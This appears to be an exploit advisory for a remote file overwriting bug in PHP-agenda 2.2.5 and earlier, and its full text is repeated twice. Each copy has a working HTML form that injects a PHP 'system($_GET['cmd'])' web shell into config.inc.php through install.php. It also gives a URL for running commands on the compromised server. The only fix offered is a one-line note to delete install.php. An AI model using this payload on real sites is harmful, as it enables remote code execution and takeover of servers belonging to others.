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PHP-agenda <= 2.2.5 Remote File Overwriting



*******   Salvatore "drosophila" Fresta   *******

[+] Application: PHP-agenda
[+] Version: <= 2.2.5
[+] Website: http://php-agenda.sourceforge.net

[+] Bugs: [A] Remote File Overwriting

[+] Exploitation: Remote
[+] Date: 10 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Remote File Overwriting

[-] Risk: hight
[-] File affected: install.php

This bug allows a guest to overwrite config.inc.php
inserting PHP code.


*************************************************

[+] Code


- [A] Remote File Overwriting

<html>
  <head>PHP-agenda <= 2.2.5 - Remote File Overwriting</head>
  <body>
    <form action="http://www.site.com/path/install.php"; method="post">
      <input type="text" name="dbhost" size="30" value="';
system($_GET['cmd']); echo '">
      <input type="submit" value="Exploit!" >
    </form>
  </body>
</head>

To execute commands:

http://www.site.com/path/config.inc.php?cmd=uname -a


*************************************************

[+] Fix

You must delete install.php after installation.


*************************************************

-- 
Salvatore "drosophila" Fresta
CWNP444351
*******   Salvatore "drosophila" Fresta   *******

[+] Application: PHP-agenda
[+] Version: <= 2.2.5
[+] Website: http://php-agenda.sourceforge.net

[+] Bugs: [A] Remote File Overwriting

[+] Exploitation: Remote
[+] Date: 10 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Remote File Overwriting

[-] Risk: hight
[-] File affected: install.php

This bug allows a guest to overwrite config.inc.php
inserting PHP code.


*************************************************

[+] Code


- [A] Remote File Overwriting

<html>
  <head>PHP-agenda <= 2.2.5 - Remote File Overwriting</head>
  <body>
    <form action="http://www.site.com/path/install.php"; method="post">
      <input type="text" name="dbhost" size="30" value="'; system($_GET['cmd']); echo '">
      <input type="submit" value="Exploit!" >
    </form>
  </body>
</head>

To execute commands:

http://www.site.com/path/config.inc.php?cmd=uname -a


*************************************************

[+] Fix

You must delete install.php after installation.


*************************************************